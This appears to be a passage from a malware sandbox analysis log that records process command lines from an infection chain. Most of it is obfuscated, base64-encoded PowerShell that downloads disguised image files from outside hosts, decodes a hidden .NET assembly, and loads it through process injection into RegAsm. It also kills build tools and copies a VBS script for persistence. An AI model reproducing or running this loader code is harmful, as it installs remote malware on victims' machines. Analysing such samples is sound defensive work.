QAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAEgAbwBhAGEAYQBhAGEAYQBzAGQAbQBlACcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnAEEAcwBtACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuAHAALwB3AEsAcQBkAHQATgBIAGsAOABZAHgAVgBLAEgANwBoAE0AMABXAHEANgBFAFkAWQB4AEoAVwBvAGkAaABZAFkAWQB5AGMAOQBUAHMAUABGAFYAOQAwAGkATQBaAGEARwBTAGwAZwBVAF8AZwBPAFUAeQA2ADEARgA3AGsASQBiAEEAOQBGAEgARABUAHUANgBkADMANwBwAGsAYwBDAFQAeQB3AEMAOABRADQAZwBZAFcAcQByAHUARAB1AEIAUwA5AHkAMwBvAFIAWABEAFIAVwBwAGoAbgBDAFMAVwBEAGUATgBxAHEALQBqAF8AMgBFADAAMQBxAHkAdwBPAGwASwBMAHoAMQBzAHQAbgBd@AGgAXwB0ADkAYQA5AEYAXwBMAEYAQwBmADMARgBJAGYANABNAGIAeQBOAGEAWgBVAFoAbABBAE4AMABtAFYASQBDAFgAZgBCADAAYQBPAFgAegBoAG0AeQBaAE4ALQBGAGoAQgA3AGMAdwBHAHcASAB2ADQASgBWAGkAbQBKAE0AdwA3AHIAcgA5ADkAdQBNAE4AaABjAFEAbABLAGYAYgBFAEgANgBPADQATQAwAEIAOQAyAGoAZQBmAHEANgAxAFIAWQBd@ADIAbQBnAGQAVQAyAGwARQBUAEUAUwA2AEsAcQBRAFkAcQBlAFAAVABkAGMARQB3AEMAcABhADMAawBzAFQAZQA5AE0AMABkAEMAOQBpAGIAbgB5AGYANgB5AFgAQgB6AGsAVQBzAGUAUAAxAGsAcgAzAFYAVwBZAHgASABuAHUAMABFAEoAbQBTADYAYgBZAC0ARwBBAHMAUgB4AEoAaQB2ADkAYgByADUAVgBnADQAagBfAFIANAB6AFIAMwBnAFQAYwBlAFQAZgBtAG0AOQBfAHgAbwB2AGYANgBtAHkAOABDAEoAWABZAG4AUQBsAFoAdABwAFQATABsAHMATQB1AEMAQQAvAGcAaQByAG8ALwBwAC8AbQBvAGMALgB0AG4AZQB0AG4AbwBjAHIAZQBzAHUAeABvAGIAcABvAHIAZAAuAHMAdwBlAGkAdgBlAHIAcAAuADYAMwA3AGQAZQA4ADQAMQBkADMAMwBhADIANgBlAGEAZgA3ADIAMwBiADMAMgAyADEAYQBjAHUALwAvADoAcwAnACwAIAAnADIAJwAsACAAJwBTAHQAYQByAHQAdQBwAE4AYQBtAGUAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9AA=='';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''d@'',''r'')));iex $OWjuxD\\"'"" (UID: 00000000-00001496) Spawned process "powershell.exe" with commandline "-Command "$ddsdgo = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAB7ACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAbABpAG4AawBzACkAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABsAGkAbgBd@ACAAaQBuACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACkAIAB7ACAAdAByAHkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGwAaQBuAGsAKQAgAH0AIABjAGEAdABjAGgAIAB7ACAAYwBvAG4AdABpAG4AdQBlACAAfQAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0ACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHAAcwA6AC8ALwAnADsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAYgBiAHIAbAB4AHcAdABd@AGIAZwB2AHAAbgBwAGYAeQBd@AGUAeAB1AC4AcwB1AHAAYQBiAGEAcwBlAC4AYwBvAC8AcwB0AG8AcgBhAGcAZQAvAHYAMQAvAG8AYgBqAGUAYwB0AC8AcAB1AGIAbABpAGMALwBuAGEAbgBvAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACwAIAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaQAuAGkAYgBiAC4AYwBvAC8AQwA1AHkANwBwADUAawBkAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAEgAbwBhAGEAYQBhAGEAYQBzAGQAbQBlACcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnAEEAcwBtACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuAHAALwB3AEsAcQBkAHQATgBIAGsAOABZAHgAVgBLAEgANwBoAE0AMABXAHEANgBFAFkAWQB4AEoAVwBvAGkAaABZAFkAWQB5AGMAOQBUAHMAUABGAFYAOQAwAGkATQBaAGEARwBTAGwAZwBVAF8AZwBPAFUAeQA2ADEARgA3AGsASQBiAEEAOQBGAEgARABUAHUANgBkADMANwBwAGsAYwBDAFQAeQB3AEMAOABRADQAZwBZAFcAcQByAHUARAB1AEIAUwA5AHkAMwBvAFIAWABEAFIAVwBwAGoAbgBDAFMAVwBEAGUATgBxAHEALQBqAF8AMgBFADAAMQBxAHkAdwBPAGwASwBMAHoAMQBzAHQAbgBd@AGgAXwB0ADkAYQA5AEYAXwBMAEYAQwBmADMARgBJAGYANABNAGIAeQBOAGEAWgBVAFoAbABBAE4AMABtAFYASQBDAFgAZgBCADAAYQBPAFgAegBoAG0AeQBaAE4ALQBGAGoAQgA3AGMAdwBHAHcASAB2ADQASgBWAGkAbQBKAE0AdwA3AHIAcgA5ADkAdQBNAE4AaABjAFEAbABLAGYAYgBFAEgANgBPADQATQAwAEIAOQAyAGoAZQBmAHEANgAxAFIAWQBd@ADIAbQBnAGQAVQAyAGwARQBUAEUAUwA2AEsAcQBRAFkAcQBlAFAAVABkAGMARQB3AEMAcABhADMAawBzAFQAZQA5AE0AMABkAEMAOQBpAGIAbgB5AGYANgB5AFgAQgB6AGsAVQBzAGUAUAAxAGsAcgAzAFYAVwBZAHgASABuAHUAMABFAEoAbQBTADYAYgBZAC0ARwBBAHMAUgB4AEoAaQB2ADkAYgByADUAVgBnADQAagBfAFIANAB6AFIAMwBnAFQAYwBlAFQAZgBtAG0AOQBfAHgAbwB2AGYANgBtAHkAOABDAEoAWABZAG4AUQBsAFoAdABwAFQATABsAHMATQB1AEMAQQAvAGcAaQByAG8ALwBwAC8AbQBvAGMALgB0AG4AZQB0AG4AbwBjAHIAZQBzAHUAeABvAGIAcABvAHIAZAAuAHMAdwBlAGkAdgBlAHIAcAAuADYAMwA3AGQAZQA4ADQAMQBkADMAMwBhADIANgBlAGEAZgA3ADIAMwBiADMAMgAyADEAYQBjAHUALwAvADoAcwAnACwAIAAnADIAJwAsACAAJwBTAHQAYQByAHQAdQBwAE4AYQBtAGUAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9AA==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace('d@','r')));iex $OWjuxD"" (UID: 00000000-00001612) Spawned process "powershell.exe" with commandline "Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait" (UID: 00000000-00004416) Spawned process "powershell.exe" with commandline "-WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFILE%\\) { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination '%ALLUSERSPROFILE%\\StartupName.vbs' -Force }" (UID: 00000000-00007560) Spawned process "cmd.exe" with commandline "/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F" (UID: 00000000-00007140) Spawned process "taskkill.exe" with commandline "taskkill /IM RegAsm.exe /F" (UID: 00000000-00006096) Spawned process "taskkill.exe" with commandline "taskkill /IM Vbc.exe /F" (UID: 00000000-00004640) Spawned process "taskkill.exe" with commandline "taskkill /IM MsBuild.exe /F" (UID: 00000000-00001104) Spawned process "wscript.exe" with commandline ""%ALLUSERSPROFILE%\\StartupName.vbs"" (UID: 00000000-00004548)4f:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmZmZmZmZmQAAAAAAAAAAAJmZmZmZmZkKAAAAAAAAAACZmZmZmZmZCqAAAAAAAAAAmZmZmZmZmQqqAAAAAAAAAJmZmZmZmZkKqqAAD/8AAACZmZmZmZmZCqqgAP//8AAAmZmZmZmZmQoAAAD///AAAJmZmZmZmZkKqqAA+//wAACZmZmZmZmZCqqgu7u/AAAAmZmZmZmZmQqqoAC7sAAAAJmZmZmZmZkKqqAAsLAAAAAAAAAAAAAACqqgALC7AAAADMzMzMzMzMCqoAAAAAAAAADMzMzMzMzMCqAAAAAAAAAADAzMzMzMzMCgAAAAAAAAAAAMzMzMzMzMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAAAAAC7C7/wAAAAAAAAAAAAAAAAC7v//wAAAAAAAAAAAAAAC7u7v/8AAAAAAAAAAAAAAAu7v///AAAAAAAAAAAAAAAAC7D/8AAAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAD////////////////gAB//4AAP/+AAB//gAAP/4AAB8+AAAMHgAACA4AAAAOAAAIDgAAAB4AAAw+AAANfgAADT8AAA//gAAP/8AAD//gAA//8AAP//f////3////9/////f///zj///+Qf///wD///wA///8AP///wH///+D///w==50:T1b31,powershell -Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command \"$ddsdgo = ''WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAB7ACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAbABpAG4AawBzACkAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABsAGkAbgBd@ACAAaQBuACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACkAIAB7ACAAdAByAHkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGwAaQBuAGsAKQAgAH0AIABjAGEAdABjAGgAIAB7ACAAYwBvAG4AdABpAG4AdQBlACAAfQAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0ACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHAAcwA6AC8ALwAnADsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAYgBiAHIAbAB4AHcAdABd@AGIAZwB2AHAAbgBwAGYAeQBd@AGUAeAB1AC4AcwB1AHAAYQBiAGEAcwBlAC4AYwBvAC8AcwB0AG8AcgBhAGcAZQAvAHYAMQAvAG8AYgBqAGUAYwB0AC8AcAB1AGIAbABpAGMALwBuAGEAbgBvAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACwAIAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaQAuAGkAYgBiAC4AYwBvAC8AQwA1AHkANwBwADUAawBkAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYAN